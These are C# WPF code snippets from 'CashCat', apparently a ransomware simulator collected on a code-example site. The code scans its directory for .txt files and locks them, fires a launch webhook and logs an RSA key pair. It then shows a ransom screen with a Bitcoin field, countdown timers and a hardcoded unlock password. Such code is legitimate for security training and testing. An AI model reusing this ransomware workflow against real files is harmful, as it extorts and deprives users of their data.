Exemplo n.º 1
0
        private void Window_ContentRendered(object sender, EventArgs e)
        {
            fileOperations.WriteLog("Starting File Rename Operations!");
            //lock it Up!

            //TODO Clean up
            Dispatcher.Invoke(new Action(() => {
                SetIconRotation(LockerIcon, 0);
                lblLockingFile.Content            = "Scanning for Files";
                txtbox_Instructions.Text          = inProgressMessage;
                rectInstructionsBackground.Height = 335;
                Height = 455;
            }), DispatcherPriority.ContextIdle);

            filesToEncrypt = fileOperations.GetTXTFileCount(currentPath);
            fileOperations.WriteLog("Found: " + filesToEncrypt.Count() + " to Encrypt!");

            if (filesToEncrypt.Count() != 0)
            {
                btn_send.Visibility = Visibility.Hidden;
                txtbox_Bitcoingaddess.Visibility = Visibility.Hidden;
                encryptionInProgress             = true;
                foreach (FileInfo file in filesToEncrypt)
                {
                    FileInfo fileToEncrypt = file;
                    fileOperations.WriteLog("Encrypting: " + file.Name.ToString() + "!");


                    Dispatcher.Invoke(new Action(() => {
                        RotateIcon(LockerIcon, 5);
                        lblLockingFile.Content = ("Encrypting: " + file.Name);
                    }), DispatcherPriority.ContextIdle);

                    fileOperations.LockTXTFile(fileToEncrypt);
                }
            }

            encryptionInProgress = false;
            fileOperations.WriteLog("File Rename Operations COMPLETED!");

            Dispatcher.Invoke(new Action(() => {
                SetIconRotation(LockerIcon, 0);
                lblLockingFile.Content            = "";
                txtbox_Instructions.Text          = completedMessage;
                btn_send.Visibility               = Visibility.Visible;
                txtbox_Bitcoingaddess.Visibility  = Visibility.Visible;
                rectInstructionsBackground.Height = 445;
                Height = 575;
            }), DispatcherPriority.ContextIdle);
        }
Exemplo n.º 2
0
 private void Button_Click(object sender, RoutedEventArgs e)
 {
     if (txtbox_Bitcoingaddess.Text == "123456789")
     {
         fileOperations.WriteLog("Starting Unlock Rename Operations!");
         fileOperations.UnlockLockyFiles(AppDomain.CurrentDomain.BaseDirectory);
         fileOperations.WriteLog("Unlock Rename Operations Completed!");
         MessageBox.Show("Unlocked! Thanks!", "You did it correct", MessageBoxButton.OK);
     }
     else
     {
         fileOperations.WriteLog("Failed Password Entry!");
         MessageBox.Show("Denied!", "You did it wrong", MessageBoxButton.OK);
     }
 }
Exemplo n.º 3
0
        public MainWindow()
        {
            InitializeComponent();
            fileOperations      = new FileSystemOperation();
            encryptionOperation = new EncryptionOperation();

            fileOperations.WriteLog("CashCat Started!");

            fileOperations.LogKeyData(encryptionOperation.getRSAPrivateKey(), encryptionOperation.getRSAPublicKey());

            fileOperations.WriteLog("CashCat Searching for Config!");

            //Load Config JSON
            currentPath = AppDomain.CurrentDomain.BaseDirectory;
            ConfigurationFile CurrentConfig = new ConfigurationFile();

            CurrentConfig = CurrentConfig.ConfigurationFileSetup(currentPath);

            if (CurrentConfig != null)
            {
                fileOperations.WriteLog("CashCat found a Config!");

                //If Webhookenabled is true..
                if (CurrentConfig.webHookEnabled)
                {
                    fileOperations.WriteLog("Executing Launch WebHook!");
                    try
                    {
                        //Trigger Webhook
                        string webHookUri = CurrentConfig.webHookURI;

                        var client = new RestClient(webHookUri);

                        var request = new RestRequest();

                        // execute the request
                        IRestResponse response = client.Execute(request);
                    }
                    catch
                    {
                        // Something went wrong with the webhook
                    }
                }

                if (CurrentConfig.catMode)
                {
                    // Enable Cat Mode
                    fileOperations.WriteLog("ENABLING CAT MODE!");
                    lblMainLabel.Content         = "CashCat has encrypted your files!";
                    LockerIcon.Visibility        = Visibility.Collapsed;
                    maingrid.Background          = new SolidColorBrush(Colors.Transparent);
                    CashCatBackground.Visibility = Visibility.Visible;
                }
            }
            else
            {
                fileOperations.WriteLog("CashCat DID NOT FIND a Config - using default settings!");
            }
        }
        private void InitialLoading()
        {
            fileOperations.WriteLog("Starting File Rename Operations!");

            Execute_EncryptionOperations();

            ShowHideCountDowns(true);

            //Restore Full Size
            Dispatcher.Invoke(new Action(() =>
            {
                SetIconRotation(LockerIcon, 0);
                txtBoxLockingFile.Text            = "";
                txtbox_Instructions.Text          = completedMessage;
                btn_send.Visibility               = Visibility.Visible;
                txtbox_Bitcoingaddess.Visibility  = Visibility.Visible;
                rectInstructionsBackground.Height = 445;
                Height = 575;
            }), DispatcherPriority.ContextIdle);
        }
        public MainWindow()
        {
            InitializeComponent();


            ShowHideCountDowns(false);


            //Time SEtup
            txtblk_fileLostTime.Text     = lockTime.ToString();
            txtblk_paymentRaiseTime.Text = priceTime.ToString();

            System.Windows.Threading.DispatcherTimer CountDownTimer = new System.Windows.Threading.DispatcherTimer();
            CountDownTimer.Tick    += new EventHandler(dispatcherTimer_Tick);
            CountDownTimer.Interval = new TimeSpan(0, 0, 1);
            CountDownTimer.Start();


            fileOperations = new FileSystemOperation();

            fileOperations.WriteLog("CashCat Started!");
            fileOperations.WriteLog("CashCat Searching for Config!");

            //Load Config JSON
            currentPath = AppDomain.CurrentDomain.BaseDirectory;
            ConfigurationFile CurrentConfig = new ConfigurationFile();

            //CurrentConfig = CurrentConfig.ConfigurationFileSetup(currentPath);

            if (CurrentConfig != null)
            {
                fileOperations.WriteLog("CashCat found a Config!");

                //If Webhookenabled is true..
                if (CurrentConfig.webHookEnabled)
                {
                    fileOperations.WriteLog("Executing Launch WebHook!");
                    try
                    {
                        //Trigger Webhook
                        string webHookUri = CurrentConfig.webHookURI;

                        //  var client = new RestClient(webHookUri);

                        // var request = new RestRequest();

                        // execute the request
                        // IRestResponse response = client.Execute(request);
                    }
                    catch
                    {
                        // Something went wrong with the webhook
                    }
                }

                if (CurrentConfig.catMode)
                {
                    // Enable Cat Mode
                    fileOperations.WriteLog("ENABLING CAT MODE!");
                    lblMainLabel.Content         = "CashCat has encrypted your files!";
                    LockerIcon.Visibility        = Visibility.Collapsed;
                    maingrid.Background          = new SolidColorBrush(Colors.Transparent);
                    CashCatBackground.Visibility = Visibility.Visible;
                }
            }
            else
            {
                fileOperations.WriteLog("CashCat DID NOT FIND a Config - using default settings!");
            }
        }